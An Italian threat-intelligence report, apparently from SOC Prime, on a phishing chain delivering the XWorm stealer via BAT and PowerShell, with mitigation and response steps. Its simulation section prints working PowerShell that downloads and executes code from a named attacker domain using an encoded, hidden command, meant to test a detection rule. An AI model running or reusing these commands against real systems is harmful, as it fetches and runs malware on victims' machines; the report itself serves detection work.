SOC Prime Bias: Medio

06 Feb 2026 15:26 UTC

Script Maligno che Consegna più Malignità

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Segui
Script Maligno che Consegna più Malignità
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Riepilogo

Una email di phishing consegna un allegato malevolo contenente uno script BAT che lancia PowerShell per scaricare un payload codificato in Base64. Dopo la decodifica, il payload risolve in XWorm, un ladro .NET che acquisisce le impronte digitali dell’host ed esfiltra i dati raccolti tramite un bot Telegram. La persistenza viene stabilita creando un’attività pianificata che esegue ripetutamente l’eseguibile distribuito. L’operazione si basa su molteplici elementi infrastrutturali, compresi un esca di hosting immagini fasulla e almeno un IP compromesso utilizzato per la staging del payload.

Indagine

Il riesame dello script BAT ha mostrato un one-liner PowerShell che recupera un file apparentemente PNG da un dominio controllato dall’attaccante. Il contenuto in Base64 incorporato viene quindi ripulito, invertito e decodificato per ricostruire l’eseguibile .NET. L’analisi binaria ha mostrato che il malware registra un’attività pianificata chiamata Chromiumx2 e utilizza l’API di Telegram per comando e controllo ed esfiltrazione dei dati. Gli investigatori hanno estratto indicatori di rete chiave, tra cui il dominio host, l’indirizzo IP associato e l’endpoint API Telegram referenziato durante l’esecuzione.

Mitigazione

Impedisci l’esecuzione di contenuti BAT e PowerShell non attendibili provenienti da allegati email o directory di download degli utenti. Applica una lista di permessi per le applicazioni per restringere la creazione di attività pianificate e segnala nuove registrazioni di attività sospette. Monitora e, dove possibile, restringi l’accesso in uscita agli endpoint API di Telegram e blocca i domini malevoli identificati a livello di DNS/proxy. Mantieni aggiornati i rilevamenti degli endpoint con i nuovi indicatori osservati e i modelli di download basati su script.

Risposta

Isola gli endpoint dove si osservano il task pianificato Chromiumx2 o Chromiumx2.exe. Rimuovi il task pianificato, elimina il binario malevolo e raccogli artefatti (script, payload decodificato, XML del task e log rilevanti) per un’indagine forense. Caccia nell’ambiente per lo stesso nome di task, comportamento di decodifica PowerShell simile e traffico guidato da Telegram. Resetta le credenziali potenzialmente esposte e notifica agli utenti dell’allegato di phishing per ridurre l’esecuzione ripetuta.

Flusso d’Attacco

Esecuzione Simulazione

Prerequisito: Il controllo pre-flight di Telemetria e Baseline deve essere superato.

  • Narrazione dell’Attacco & Comandi:
    L’attaccante desidera scaricare ed eseguire un payload malevolo da un server web compromesso. Per eludere il rilevamento con firma classica, incorpora l’intera logica di download ed esecuzione in una singola stringa Base64 e invoca PowerShell con -EncodedCommand. Il comando fa riferimento all’URL esatto monitorato dalla regola di rilevamento (https://uniworldrivercruises-co.uk/optimized_MSI.png).

    1. Codifica il payload malevolo (un semplice downloader che esegue lo script ricevuto):

      $payload = "IEX (New-Object Net.WebClient).DownloadString('https://uniworldrivercruises-co.uk/optimized_MSI.png')"
      $b64 = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($payload))
      Write-Host $b64

      B64 risultante (esempio): SQBFAFgAIABpAG4AIABOAGUAdwAtAE8AbgB0AGkAYwBzACA... (troncato).

    2. Esegui il comando codificato:

      powershell -EncodedCommand SQBFAFgAIABpAG4AIABOAGUAdwAtAE8AbgB0AGkAYwBzACA...

    Questa singola riga genera esattamente la telemetria che la regola Sigma si aspetta: un processo PowerShell, il -EncodedCommand flag e l’URL malevolo all’interno del blocco di script decodificato.

  • Script di Test di Regressione:

    #-------------------------------------------------
    # Script di regressione per attivare la regola di rilevamento
    #-------------------------------------------------
    # 1. Costruisci il payload malevolo
    $payload = "IEX (New-Object Net.WebClient).DownloadString('https://uniworldrivercruises-co.uk/optimized_MSI.png')"
    $b64 = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($payload))
    
    # 2. Esegui il payload tramite un comando PowerShell codificato
    Start-Process -FilePath "powershell.exe" -ArgumentList "-NoProfile -WindowStyle Hidden -EncodedCommand $b64" `
        -WindowStyle Hidden -PassThru | Out-Null
    
    Write-Host "Comando codificato malevolo eseguito."
    #-------------------------------------------------
  • Comandi di Pulizia:

    # Rimuovere eventuali file temporanei (nessuno previsto perché il payload viene trasmesso direttamente)
    # Termina eventuali processi PowerShell nascosti persistenti avviati dal test
    Get-Process -Name "powershell" -ErrorAction SilentlyContinue |
        Where-Object {$_.StartInfo.Arguments -match "-EncodedCommand"} |
        Stop-Process -Force
    
    Write-Host "Pulizia completata."